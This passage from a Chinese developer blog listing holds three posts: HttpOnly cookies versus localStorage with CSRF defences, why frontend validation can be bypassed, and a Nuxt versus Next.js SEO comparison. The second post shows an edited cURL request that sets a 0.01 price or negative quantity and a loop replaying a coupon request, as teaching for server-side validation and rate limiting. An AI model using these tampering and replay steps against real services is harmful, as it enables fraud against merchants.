因为 Cookie 会自动发送,攻击者可以诱导用户访问恶意页面,悄悄发起伪造请求:


sequenceDiagram
participant 用户
participant 银行网站
participant 恶意网站

用户->>银行网站: 1. 登录,获得 HttpOnly Cookie
用户->>恶意网站: 2. 访问恶意网站
恶意网站->>用户: 3. 页面包含隐藏表单
用户->>银行网站: 4. 浏览器自动发送请求(带 Cookie)
银行网站->>银行网站: 5. Cookie 有效,执行转账
Note over 用户: 用户完全不知情

好消息是:CSRF 比 XSS 容易防得多


SameSite 属性


最简单的一步,就是在设置 Cookie 时加上 sameSite


res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax' // 关键配置
});

sameSite 有三个值:



  • strict:跨站请求完全不带 Cookie。最安全,但从外链点进来需要重新登录

  • lax:GET 导航可以带,POST 不带。大部分场景够用,Chrome 默认值

  • none:都带,但必须配合 secure: true


lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感(比如金融),可以再加 CSRF Token。


CSRF Token(更严格)


如果希望更严谨,可以在 sameSite 基础上,再加一层 CSRF Token 验证:


// 后端生成 Token,放到页面或接口返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken); // 这个不用 httpOnly,前端需要读

// 前端请求时带上
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]
},
credentials: 'include'
});

// 后端验证
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
return res.status(403).send('CSRF token mismatch');
}

攻击者能让浏览器自动带上 Cookie,但没法读取 Cookie 内容来构造请求头。




核心对比:为什么宁愿多做 CSRF,也要堵死 XSS


这是全篇最重要的一点,也是推荐 HttpOnly Cookie 的根本原因。


XSS 的攻击面太广



  • 用户输入渲染(评论、搜索、URL 参数)

  • 第三方脚本(广告、统计、CDN)

  • 富文本编辑器

  • Markdown 渲染

  • JSON 数据直接插入 HTML


代码量大了,总有地方会疏漏。一个 innerHTML 忘了转义,第三方库有漏洞,攻击者就能注入脚本。


CSRF 防护相对简单、手段统一



  • sameSite: lax 一行配置搞定大部分场景

  • 需要更严格就加 CSRF Token

  • 攻击面有限,主要是表单提交和链接跳转


两害相权取其轻——先把 XSS 能偷 token 这条路堵死,再去专心做好 CSRF 防护




真落地要改什么:从 localStorage 迁移到 HttpOnly Cookie


从 localStorage 迁移到 HttpOnly Cookie,需要前后端一起动手,但改造范围其实不大。


后端改动


登录接口,从「返回 JSON 里的 token」改成「Set-Cookie」:


// 改造前
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.json({ accessToken: token });
});

// 改造后
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600000
});
res.json({ success: true });
});

前端改动


前端请求时不再手动带 token,而是改成 credentials: 'include'


// 改造前
fetch('/api/user', {
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});

// 改造后
fetch('/api/user', {
credentials: 'include'
});

如果用 axios,可以全局配置:


axios.defaults.withCredentials = true;

登出处理


登出时,后端清除 Cookie:


app.post('/api/logout', (req, res) => {
res.clearCookie('access_token');
res.json({ success: true });
});



如果暂时做不到 HttpOnly Cookie,可以怎么降风险


有些项目历史包袱比较重,或者后端暂时不愿意改。短期内只能继续用 localStorage 的话,至少要做好这些补救措施:



  1. 严格防 XSS



    • textContent 代替 innerHTML

    • 用户输入必须转义

    • 配置 CSP 头

    • 富文本用 DOMPurify 过滤



  2. Token 过期时间要短



    • Access Token 15-30 分钟过期

    • 配合 Refresh Token 机制



  3. 敏感操作二次验证



    • 转账、改密码等操作,要求输入密码或短信验证



  4. 监控异常行为



    • 同一账号多地登录告警

    • Token 使用频率异常告警






面试怎么答


回到开头的问题,面试怎么答?


简洁版(30 秒):



推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS,而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要处理 CSRF 就行。



完整版(1-2 分钟):



Token 存储有三种常见方式:localStorage、普通 Cookie、HttpOnly Cookie。


localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放,攻击者注入一行脚本就能偷走 token。


普通 Cookie 更糟,XSS 能读,CSRF 还会自动发送。


推荐 HttpOnly Cookie,设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险,但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。


所以权衡下来,HttpOnly Cookie 配合 SameSite 是更安全的方案。


当然,没有绝对安全的方案。即使用了 HttpOnly Cookie,XSS 攻击虽然偷不走 token,但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证,多层防护叠加。



加分项(如果面试官追问):



  • 改造成本:需要前后端配合,登录接口改成 Set-Cookie 返回,前端请求加 credentials: include

  • 如果用 localStorage:Token 过期时间要短,敏感操作二次验证,严格防 XSS

  • 移动端场景:App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题,需要具体评估




如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:


Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):



全栈项目(适合学习现代技术栈):



  • prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑

  • chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB


作者:也无风雨也雾晴
来源:juejin.cn/post/7583898823920451626
收起阅读 »

为什么永远不要相信前端输入?绕过前端验证,只需一个 cURL 命令!

web
大家好😁。 上个月 Code Review,我拦下了一个新人的代码。 他写了一个转账功能,前端做了极其严密的校验: 金额必须是数字。 金额必须大于 0。 余额不足时,提交按钮是 disabled 的。 甚至还写了复杂的正则表达式,防止输入负号。 他自信满满...
继续阅读 »

image.png


大家好😁。


上个月 Code Review,我拦下了一个新人的代码。


他写了一个转账功能,前端做了极其严密的校验:



  • 金额必须是数字。

  • 金额必须大于 0。

  • 余额不足时,提交按钮是 disabled 的。

  • 甚至还写了复杂的正则表达式,防止输入负号。


他自信满满地跟我说:老大,放心吧,我前端卡得死死的,用户绝对传不了非法数据。


我笑了笑🤣,没看他的后端代码,直接打开终端,敲了一行命令。


0.5 秒后,他的数据库里多了一笔“-10000”的转账记录,余额瞬间暴涨!


他看着屏幕,目瞪口呆:这……你是怎么做到的?我按钮明明置灰了啊!


今天,我就来揭秘这个所有后端(和全栈)工程师必须铭记的第一铁律:


前端验证,在黑客眼里,只是个小case🤔。




我是如何羞辱前端验证的


假设我们有一个购物网站,前端有一个简单的购买表单。


前端逻辑(看似完美):


// Front-end code
function submitOrder(price, quantity) {
// 1. 校验价格不能被篡改
if (price !== 999) {
alert("价格异常!");
return;
}
// 2. 校验数量必须为正数
if (quantity <= 0) {
alert("数量必须大于0!");
return;
}

// 发送请求
api.post('/buy', { price, quantity });
}

你看,用户在浏览器里确实没法作恶。他改不了价格,也填不了负数。


但是黑客,从来不用浏览器点你的按钮。


第一步:打开DevTools Network 面板,正常点一次购买按钮。捕获到了这个请求。


第二步:请求上右键 -> 复制 -> cURL 格式复制。


image.png


这一步,我已经拿到了你发送请求的所有密钥:URL、Headers、Cookies、以及那个看似合法的 Data。


第三步:打开终端(Terminal),粘贴刚才复制的命令。但是,我并没有直接回车。


我修改了 --data-raw 里的参数:



  • "price": 999 改成了 "price": 0.01

  • 或者把 "quantity": 1 改成了 "quantity": -100


# 经过魔改后的命令
curl 'http://localhost:3000/user/buy' \
-H 'Cookie: session_id=...' \
-H 'Content-Type: application/json' \
--data-raw '{"price": 0.01, "quantity": 10}' \
--compressed

回车!


服务器返回:{ "status": "success", "msg": ok!" }


恭喜你,你的前端验证毫发无损,但你的数据库已经被我击穿了。 我用 1 分钱买了 10 个商品,或者通过负数数量,反向刷了库存。




为什么前端验证, 防不了小人🤔


很多新人最大的误区,就是认为用户只能通过我的 UI 来访问我的服务器。


错!大错特错!


Web 的本质是 HTTP 协议。


HTTP 协议是无状态的、公开的。任何能够发送 HTTP 请求的客户端,都是你的用户。



  • Chrome 是客户端。

  • cURL 是客户端。

  • Postman 是客户端。

  • Python 的 requests 脚本也是客户端。

  • node 的 http 脚本也是客户端


前端代码运行在用户的电脑上。


这意味着,用户拥有对前端代码的绝对控制权



  • 他可以禁用 JS。

  • 他可以在 Console 里重写你的校验函数。

  • 他可以拦截请求(用 Charles/Fiddler)并修改数据。

  • 他甚至可以完全抛弃浏览器,直接用脚本轰炸你的 API。


所以,前端验证的唯一作用,是提升用户体验 (比如提示用户格式不对😂),而不是提供安全性😖。




后端该如何防御?(不要裸奔)


既然前端不可信,后端(或 BFF 层)就必须假设所有发过来的数据都是有毒的


1. 永远不要相信 Payload 里的关键数据


前端只传 productId。后端拿到 ID 后,去数据库里查这个商品到底多少钱。永远以数据库为准。


2. 使用 Schema 校验库(Zod / Joi / class-validator)


不要在 Controller 里写一堆 if (req.body.age < 0)。


使用专业的 Schema 校验库,定义好数据的规则。


TypeScript代码👇:


// 使用 Zod 定义后端校验规则
const OrderSchema = z.object({
productId: z.string(),
// 强制要求 quantity 必须是正整数,拦截 -100 这种攻击
quantity: z.number().int().positive(),
// 注意:这里根本不接收 price 字段,防止被注入
});

// 如果校验失败,直接抛出 400 错误,逻辑根本进不去
const data = OrderSchema.parse(req.body);

3. 权限与状态校验


不要只看数据格式对不对,还要看人对不对。



  • 这个用户有权限买这个商品吗?

  • 这个订单现在的状态允许支付吗?(防止重复支付攻击🤔)




还有一种更高级的攻击:Replay Attack(重放攻击)


你以为校验了数据就安全了?


如果我拦截了你一次领优惠券的请求,虽然我改不了数据,但我可以用 cURL 连续运行 1000 次这个命令。


# 一个简单的循环,瞬间刷爆你的接口
for i in {1..1000}; do curl ... ; done

如果你的后端没有做幂等性(Idempotency)校验或频率限制(Rate Limiting) ,那我瞬间就能领走 1000 张优惠券。


防御手段👇:



  • Redis 计数器:限制每个 IP/用户 每秒只能请求几次。

  • 唯一 Request ID:对于关键操作,要求前端生成一个 UUID,后端处理完后记录下来。如果同一个 UUID 再次请求,直接拒绝。




对于前端安全,所有的输入都是可疑的🤔


作为全栈或后端开发者,当你写 API 时,请忘掉你那个漂亮的前端界面。


你的脑海里应该只有一幅画面:


image.png


屏幕对面,不是一个点鼠标的用户,而是一个正在敲 cURL 命令的黑客。


只有这样,你的代码才算真正安全了😒。


作者:ErpanOmer
来源:juejin.cn/post/7580616979473367046
收起阅读 »

到底选 Nuxt 还是 Next.js?SEO 真的有那么大差距吗 🫠🫠🫠

web
我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优...
继续阅读 »

我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优化和协作功能的实现等核心难点。



如果你对 AI 全栈开发、Tiptap 富文本编辑器定制或 DocFlow 项目的完整技术方案感兴趣,欢迎加我微信 yunmz777 进行私聊咨询,获取详细的技术分享和最佳实践。


关于 NuxtNext.js 的 SEO 对比,技术社区充斥着太多误解。最常见的说法是 NuxtPayload JSON 化会严重影响 SEO,未压缩的数据格式会拖慢页面加载。还有人担心环境变量保护机制存在安全隐患。


实际情况远非如此。框架之间的 SEO 差异被严重夸大了。Nuxt 采用未压缩 JSON 是为了保证数据类型完整性和加速水合过程,这是深思熟虑的设计权衡。所谓的安全问题,本质上是第三方生态设计的挑战,而非框架缺陷。


真正影响搜索引擎排名的是内容质量、用户体验、页面性能和技术实践,而非框架选择。一个优化良好的 Nuxt 网站完全可能比未优化的 Next.js 网站排名更好。


一、服务端渲染机制对比


Next.js:压缩优先


Next.js 新版本使用压缩字符串格式序列化数据,旧版 Page Router 则用 JSON。数据以 <script> 标签形式嵌入 HTML,客户端接收后解压完成水合。


这种方案优势明显:HTML 文档体积小,传输快,初始加载速度优秀。App Router 还支持流式渲染和 Server Components,服务端可以逐步推送内容,不需要等待所有数据准备就绪。


权衡也很清楚:增加了客户端计算开销,复杂数据类型需要额外处理。


Nuxt:类型完整性优先


Nuxt 采用未压缩 JSON 格式,通过 window.__NUXT__ 对象嵌入数据。设计思路基于一个重要前提:现代浏览器的 JSON.parse() 性能极高,V8 引擎对 JSON 解析做了大量优化。相比自定义压缩算法,直接用 JSON 格式解析速度更快。


核心优势是水合速度极快,支持完整的 JavaScript 复杂类型。Nuxt 使用 devalue 序列化库,能够完整保留 MapSetDateRegExpBigInt 等类型,还能处理循环引用。这意味着从后端传递 Map 数据,前端反序列化后依然是 Map,而不会被转换为普通 Object


当然,包含大量数据时 HTML 体积会增大。不过对于大数据场景,Nuxt 已经支持 Lazy Hydration 来处理。


设计哲学差异


Next.js 优先考虑传输速度,适合前后端分离场景。Nuxt 优先保证类型完整性,更适合全栈 JavaScript 应用。由于前后端都用 JavaScript,保持数据类型一致性可以减少大量类型转换代码。


实际测试表明,大多数场景下这种方案不会拖慢首屏加载。一次传输加快速水合的策略,整体性能往往更优。


二、对 SEO 的实际影响


Payload JSON 化的真实影响


从 SEO 角度看,Nuxt 的方案有独特优势。爬虫可以直接从 HTML 获取完整内容,无需执行 JavaScript。即使 JS 加载或执行失败,页面核心内容依然完整存在于 HTML 中。这对 SEO 至关重要,因为搜索引擎爬虫虽然能执行 JavaScript,但更倾向于直接读取 HTML。


HTML 体积增大的影响被严重高估了。实际测试数据显示,即使 HTML 增大 50-100KB,对 TTFB 的影响也在 50-100ms 以内,用户几乎感知不到。而水合速度提升可能节省 100-200ms 的交互响应时间,整体用户体验反而更好。


Next.js 的性能优势


Next.js 采用压缩格式后,HTML 体积更小,服务器响应更快。实际数据显示平均 LCP 为 1.2 秒,INP 为 65ms,这些指标确实优秀。


Next.js 13+Server Components 进一步优化了数据传输。服务端组件的数据不需要序列化传输到客户端,直接在服务端渲染成 HTML,大大减少了传输量。对于主要展示内容的页面,这种方式可以实现接近静态页面的性能。


ISR 功能也很实用。页面可以在构建时生成静态 HTML,然后在后台按需更新,既保证了首屏速度,又能及时更新内容。


核心结论


框架对 SEO 的影响被严重夸大了。Google 的 Evergreen Googlebot 在 2019 年就已经能够完整执行现代 JavaScript。无论 Nuxt 还是 Next.js,只要正确实现了 SSR,搜索引擎都能获取完整内容。


框架选择对排名的影响可能不到 1%。真正影响 SEO 的是内容质量、页面语义化、结构化数据、内部链接结构、技术实践(sitemaprobots.txt)和用户体验指标。


三、SEO 功能特性对比


元数据管理


Next.js 13+Metadata API 提供了类型安全的元数据配置,与 Server Components 深度集成,可以在服务端异步获取数据生成动态元数据:


// Next.js
export async function generateMetadata({ params }) {
const post = await fetchPost(params.id);
return {
title: post.title,
description: post.excerpt,
openGraph: { images: [post.coverImage] },
};
}

NuxtuseHead 提供响应式元数据管理,配合 @nuxtjs/seo 模块开箱即用。内置 Schema.org JSON-LD 生成器,可以更方便地实现结构化数据:


// Nuxt
const post = await useFetch(`/api/posts/${id}`);
useHead({
title: post.value.title,
meta: [{ name: "description", content: post.value.excerpt }],
});

useSchemaOrg([
defineArticle({
headline: post.title,
datePublished: post.publishedAt,
author: { name: post.author.name },
}),
]);

Next.js 同样可以实现结构化数据,但需要手动插入 <script type="application/ld+json"> 标签。虽然需要额外工作,但提供了更大的灵活性。


语义化 HTML 与无障碍性


Nuxt 提供自动 aria-label 注入功能,@nuxtjs/a11y 模块可以在开发阶段自动检测无障碍性问题。Next.js 需要开发者手动确保,可以使用 eslint-plugin-jsx-a11y 检测问题。


语义化 HTML 对 SEO 的重要性常被低估。搜索引擎不仅读取内容,还会分析页面结构。正确使用 <article><section><nav> 等标签,可以帮助搜索引擎更好地理解内容层次。


静态生成与预渲染


Next.jsISR 允许为每个页面设置不同的重新验证时间。首页可能每 60 秒重新生成,文章页面可能每天重新生成。这种精细化控制使得网站能在性能和内容新鲜度之间找到平衡:


// Next.js ISR
export const revalidate = 3600; // 每小时更新

Nuxt 3 支持混合渲染模式,可以在同一应用中同时使用 SSR、SSG 和 CSR,为不同页面选择最适合的渲染策略:


// Nuxt 混合渲染
export default defineNuxtConfig({
routeRules: {
"/": { prerender: true },
"/posts/**": { swr: 3600 },
"/admin/**": { ssr: false },
},
});

Next.js 14Partial Prerendering 更进一步,允许在同一页面混合静态和动态内容。静态部分在构建时生成,动态部分在请求时渲染,结合了 SSG 的速度和 SSR 的灵活性。


四、性能指标与爬虫友好性


Core Web Vitals 表现


从各项指标看,Next.js 平均 LCP 为 1.2 秒,表现优秀。Nuxt 的 LCP 可能受 HTML 体积影响,但在 FCP 和 INP 方面得益于快速水合机制,同样表现出色。


需要强调的是,这些差异在实际 SEO 排名中影响极其有限。Google 在 2021 年将 Core Web Vitals 纳入排名因素,但权重相对较低。内容相关性、反向链接质量、域名权威度等传统因素权重仍然更高。


更重要的是,Core Web Vitals 分数取决于真实用户体验数据,而非实验室测试。网络环境、设备性能、缓存状态等因素对性能的影响远大于框架本身。一个优化良好的 Nuxt 网站完全可能比未优化的 Next.js 网站获得更好的分数。


两个框架都提供了丰富的优化工具。Next.jsnext/image 提供自动图片优化、懒加载、响应式图片。Nuxt@nuxt/image 提供类似功能,并支持多种图片托管服务。图片优化对 LCP 的影响往往比框架选择更大。


爬虫友好性


两个框架在爬虫友好性方面几乎没有差别。都提供完整的服务端渲染内容,无需 JavaScript 即可获取页面信息,能正确返回 HTTP 状态码,支持合理的 URL 结构。


Nuxt 的额外优势在于内置 Schema.org JSON-LD 生成器,有助于搜索引擎生成富文本摘要。结构化数据对现代 SEO 至关重要,通过嵌入 JSON-LD 格式的数据,可以告诉搜索引擎页面内容的具体含义。这些信息会显示在搜索结果中,提高点击率。


两个框架在处理动态路由、国际化、重定向等 SEO 关键功能上都提供了完善支持。


五、安全性问题澄清


环境变量保护机制


关于 Nuxt 会将 NUXT_PUBLIC 环境变量暴露到 HTML 的问题,需要明确这并非框架缺陷。Nuxt 的机制是只有显式设置为 NUXT_PUBLIC_ 前缀的变量才会暴露到前端,非 public 变量不会出现在 HTML 中。


正常情况下,开发者不应该将重要信息设置为 public。任何重要信息都不应该放到前端,这是前端开发的基本原则,与框架无关。


Nuxt 3 的环境变量系统被彻底重新设计。运行时配置分为公开和私有两部分:


// Nuxt 配置
export default defineNuxtConfig({
runtimeConfig: {
// 私有配置,仅服务端可用
apiSecret: process.env.API_SECRET,

// 公开配置,会暴露到客户端
public: {
apiBase: process.env.API_BASE_URL,
},
},
});

Next.js 使用类似机制,以 NEXT_PUBLIC_ 前缀的变量会暴露到客户端:


// 服务端组件中
const apiSecret = process.env.API_SECRET; // 可用

// 客户端组件中
const apiBase = process.env.NEXT_PUBLIC_API_BASE; // 可用
const apiSecret = process.env.API_SECRET; // undefined

实际开发中的安全挑战


真正的问题在于某些第三方库要求在前端初始化时传入密钥。一些 BaaS 服务(如 SupabaseFirebase)的前端 SDK 设计就需要在前端初始化,开发者无法控制这些第三方生态的设计。


Supabase 为例,它提供 anon key(匿名密钥)和 service role key(服务角色密钥)。anon key 设计为可以在前端使用,通过行级安全策略在数据库层面控制权限。service role key 则绕过所有安全策略,只能在服务端使用。


理想解决方案是将依赖密钥的库放到服务端,通过 API 调用使用。如果某个库需要在前端运行明文密钥,这个库本身就存在重大安全风险。但现实往往更复杂,生态适配问题难以完全避免。


值得注意的是,Next.js 同样存在类似的安全考量。两个框架在环境变量保护方面的机制基本一致,问题根源在于第三方生态设计,而非框架缺陷。


对 SEO 的影响


环境变量问题本质上是安全问题,而非 SEO 问题。只要正确配置,不会影响搜索引擎爬取。


真正影响 SEO 的安全问题是:网站被攻击后注入垃圾链接、恶意重定向、隐藏内容等。这些行为会直接导致网站被搜索引擎惩罚,甚至从索引中移除。防止这类问题需要全方位的安全措施,远超框架本身的范畴。


六、实际应用场景


内容密集型网站


对于博客、新闻网站、文档站点,Nuxt 往往表现更好。内容块水合速度快,开箱即用的 SEO 功能完善,开发体验好。


Nuxt@nuxt/content 模块提供了基于 Markdown 的内容管理系统,支持全文搜索、代码高亮、自动目录生成。配合 @nuxtjs/seo 模块,可以快速构建 SEO 友好的内容网站:


// Nuxt Content 使用
const { data: post } = await useAsyncData("post", () =>
queryContent("/posts").where({ slug: route.params.slug }).findOne()
);

技术博客、文档网站特别适合这种方案。VuePressVitePress 等静态站点生成器也是基于类似思路构建的。


动态应用


对于电商平台、SaaS 应用等需要高级渲染技术和复杂交互的场景,Next.js 可能更合适。ISR 和部分预渲染能够更好地应对动态内容需求。


电商网站的 SEO 挑战在于商品数量庞大、内容动态变化、需要个性化推荐。Next.jsISR 可以为每个商品页面设置合适的重新验证时间,既保证 SEO 友好,又能及时更新库存、价格:


// Next.js 电商页面优化
export default async function ProductPage({ params }) {
const product = await fetchProduct(params.id);

return (
<>
<ProductInfo product={product} />
<Suspense fallback={<Skeleton />}>
<AddToCartButton productId={params.id} />
</Suspense>
</>

);
}

export const revalidate = 1800; // 30分钟重新验证

混合场景


对于兼具内容和应用特性的混合场景,两个框架都能很好胜任。许多现代网站都是混合型的:既有内容页面(博客、文档),又有应用功能(用户中心、后台管理)。


关键是为不同类型页面选择合适的渲染策略。Nuxt 3routeRules 提供路由级别的渲染控制:


// Nuxt 混合渲染场景
export default defineNuxtConfig({
routeRules: {
"/": { prerender: true }, // 首页预渲染
"/blog/**": { swr: 3600 }, // 博客缓存 1 小时
"/dashboard/**": { ssr: false }, // 用户中心客户端渲染
"/api/**": { cors: true }, // API 路由
},
});

Next.js 通过不同文件约定实现类似功能。可以在 app 目录中使用 Server Components 和 Client Components 组合,在 pages 目录中使用传统 SSR/SSG 方式。


七、开发者的真实痛点


超越 SEO 的实际考量


通过分析实际案例发现,开发者选择框架的真正原因往往不是 SEO。许多从 Nuxt 迁移到 Next.js 的团队,主要原因包括第三方生态兼容性问题(如 Supabase 等 BaaS 服务的前端依赖),以及开发体验(启动速度慢、构建时间长)。


客观来说,Nuxt 在开发服务器启动速度和构建时间方面确实存在优化空间。不过随着 RolldownOxc 等下一代工具链的完善,这些问题有望改善。这说明 SEO 和安全问题可能被过度强调了,真正影响开发者选择的是开发体验和生态适配。


开发服务器启动速度直接影响开发效率。如果每次重启都需要等待 30-60 秒,一天下来可能浪费几十分钟。构建时间同样重要,尤其在 CI/CD 环境中。构建时间过长会延迟部署,影响快速迭代能力。


生态兼容性是另一个重要因素。某些库只提供 React 版本,某些只提供 Vue 版本。虽然可以通过适配器跨框架使用,但会增加维护成本。


技术方案的权衡


没有完美的技术方案,只有最适合的选择。Nuxt 优先保证数据类型完整性和快速水合,Next.js 追求更小体积和更快 TTFB。


不同开发者有不同需求:内容型网站与应用型产品侧重点不同,小团队与大型商业项目考量各异。技术讨论中有句话很好地总结了这点:几乎所有框架都在解决同样的问题,差别只在于细微的实现方式。


对小团队来说,开发效率可能比性能优化更重要。快速实现功能、快速迭代,比追求极致性能指标更有价值。对大型团队来说,长期维护性和可扩展性更重要。


技术债务是另一个需要考虑的因素。随着项目发展,早期为了快速开发而做的权衡可能成为瓶颈。选择一个社区活跃、持续演进的框架很重要。Next.jsNuxt 都有强大的商业支持(Vercel 和 NuxtLabs),这保证了框架的长期发展。


八、综合评估与选择建议


SEO 能力评分


从 SEO 能力看,Next.js 可以获得 4.5 分(满分 5 分)。优势在于优秀的 Core Web Vitals 表现、更小的 HTML 体积、成熟的 SEO 生态,以及 ISR 和部分预渲染等先进特性。不足是需要手动配置结构化数据,语义化 HTML 需要开发者特别注意。


Nuxt 可以获得 4 分。优势包括内置 Schema.org JSON-LD 生成器、自动语义化 HTML 支持、在内容型网站的优秀表现,以及快速水合带来的良好体验。Payload JSON 导致 HTML 体积增大在实际应用中影响微小,已有 Lazy Hydration 等解决方案。开发服务器启动和构建速度慢是开发体验问题,与 SEO 无关。


需要说明的是,两者 SEO 能力实际上都接近满分,0.5 分的差异主要体现在开箱即用的便利性上,而非实际 SEO 效果。在真实搜索引擎排名中,这 0.5 分的差异几乎不会产生可察觉的影响。


选择 Next.js 的场景


如果项目对 Core Web Vitals 有极高要求,或者需要复杂渲染策略的动态应用,Next.js 是更好的选择。以下场景推荐使用:



  • 电商平台,需要 ISR 平衡性能和内容新鲜度

  • SaaS 应用,对交互性能要求极高

  • 国际化大型网站,需要精细性能优化

  • 团队已有 React 技术栈,迁移成本低

  • 需要使用大量 React 生态的第三方库

  • 对 Vercel 平台部署优化感兴趣

  • 需要 Server Components 的先进特性

  • 项目规模大,需要严格的 TypeScript 类型检查


选择 Nuxt 的场景


如果项目是内容密集型网站(博客、新闻、文档),或者需要快速开发并利用框架的 SEO 便利功能,Nuxt 是理想选择。以下场景推荐使用:



  • 技术博客、文档站点,内容是核心

  • 新闻、媒体网站,需要快速发布内容

  • 企业官网,强调 SEO 和内容展示

  • 团队已有 Vue 技术栈,迁移成本低

  • 需要使用 Vue 生态的 UI 库(如 Element Plus、Vuetify)

  • 快速原型开发,需要开箱即用的功能

  • 需要 @nuxt/content 的 Markdown 内容管理

  • 项目需要传递复杂的 JavaScript 对象(Map、Set、Date 等)


决策思路


对于需要优秀 SEO 表现、服务端渲染和良好开发体验的项目,两个框架都完全能够胜任。选择关键在于团队技术栈、第三方生态适配、开发体验等实际因素,而不应该仅仅基于 SEO 考虑。


在中小型项目、团队对两个框架都不熟悉、项目没有特殊渲染需求的情况下,两个框架都是合理选择。可以考虑以下因素决策:



  • 团队成员的个人偏好(React vs Vue)

  • 公司的技术战略和长期规划

  • 现有项目的技术栈,保持一致性

  • 招聘市场,React 开发者相对更多

  • 社区资源,React 生态整体更成熟

  • 学习曲线,Vue 的 API 相对更简单


九、核心结论


框架差异的真实影响


几乎所有现代框架都能很好地支持 SEO,差异只在于细微的实现方式。框架选择对 SEO 排名的影响远小于内容质量和技术实现。Payload JSON 化影响 SEO 的说法被夸大了,这是经过深思熟虑的设计权衡。对大多数应用来说,一次传输加快速水合的策略更优。


从搜索引擎角度看,只要页面能正确渲染、内容完整可见、HTML 结构合理、meta 标签正确,框架是什么并不重要。Google 的爬虫既可以处理传统静态 HTML,也可以执行复杂的 JavaScript 应用,还可以理解 SPA 的路由。


真正影响 SEO 的是:内容质量和原创性、页面加载速度(但 100-200ms 差异可以忽略)、移动端友好性、内部链接结构、外部反向链接、域名权威度、用户行为指标(点击率、停留时间、跳出率)、技术 SEO 实践(sitemaprobots.txt、结构化数据)。


框架选择在这些因素中的权重微乎其微。用 Nuxt 还是 Next.js,对实际排名的影响可能不到 1%。


性能指标的误区


Next.js 在 HTML 体积、TTFB 和 Core Web Vitals 平均值方面具有优势。Nuxt 则在数据类型支持、水合速度和网络传输效率方面表现出色。但这些差异在实际 SEO 排名中影响微乎其微。


常见的性能误区包括:过度关注实验室测试数据,忽略真实用户体验;追求极致分数,忽略边际收益递减;认为性能优化就是 SEO 优化;忽略其他更重要的 SEO 因素;在框架选择上纠结,而不是优化现有代码。


实际上,同一框架下,优化和未优化的网站性能差异可能是 10 倍,而不同框架之间的性能差异可能只有 10-20%。把精力放在代码优化、资源优化、CDN 配置等方面,往往比纠结框架选择更有价值。


决策因素梳理


技术因素方面,应该考虑团队技术栈(React vs Vue)、第三方生态适配、开发体验(启动速度、构建速度)。业务因素方面,需要评估项目类型(内容型 vs 应用型)、团队规模和能力、时间和预算。不应该主要基于 SEO 来选择框架,因为两者在 SEO 方面能力基本相当。


决策优先级建议:


第一优先级:团队技术栈和能力。团队熟悉什么就用什么,学习成本和招聘成本很高。


第二优先级:项目类型和需求。内容型倾向 Nuxt,应用型倾向 Next.js,混合型都可以。


第三优先级:生态和工具链。需要的第三方库是否支持,部署平台的支持情况,开发工具的成熟度。


第四优先级:性能和 SEO。只在前三者相同时考虑,实际影响很小。


十、实践建议


SEO 优化核心原则


内容质量永远是第一位的。框架只是工具,内容才是核心,技术优化是锦上添花而非雪中送炭。正确实现 SSR 比框架选择更重要。


SEO 最佳实践清单:确保所有重要内容在 HTML 中可见、为每个页面设置唯一的 titledescription、使用语义化 HTML 标签、正确使用标题层级、为图片添加 alt 属性、实现结构化数据、生成 sitemap.xml 并提交、配置合理的 robots.txt、使用 HTTPS、优化页面加载速度、确保移动端友好、构建合理的内部链接结构、定期发布高质量原创内容、获取高质量的外部链接、监控和分析 SEO 数据。


Nuxt 优化建议


充分利用框架优势,包括数据类型完整性的便利。对于大数据量场景,使用 Lazy Hydration 功能。不要因为 payload 问题过度担心,实际影响很小。


性能优化技巧:使用 nuxt generate 生成静态页面、配置 routeRules 为不同页面选择合适渲染策略、使用 @nuxt/image 优化图片加载、使用 lazy 属性延迟加载不关键组件、优化 payload 大小避免传递不必要数据、使用 useState 管理 SSR 和 CSR 之间共享的状态、配置合理的缓存策略、监控 payload 大小必要时拆分数据。


// Nuxt 性能优化配置
export default defineNuxtConfig({
experimental: {
payloadExtraction: true,
inlineSSRStyles: false,
},
routeRules: {
"/": { prerender: true },
"/blog/**": { swr: 3600 },
},
image: {
domains: ["cdn.example.com"],
},
});

Next.js 优化建议


充分利用性能优势,包括 ISR 和部分预渲染,优化 Core Web Vitals 指标。在处理复杂数据类型时,MapSet 等需要额外处理,要确保序列化和反序列化的正确性。


